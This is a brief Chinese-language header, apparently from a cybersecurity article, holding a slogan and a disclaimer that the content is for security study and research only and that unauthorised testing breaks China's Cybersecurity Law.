🛡️ 理论先行,实践跟进
⚠️ 提示:本文仅供网络安全学习研究使用。所有技术方案应在获得合法授权的范围内使用。未授权的安全测试违反中国《网络安全法》及相关法规。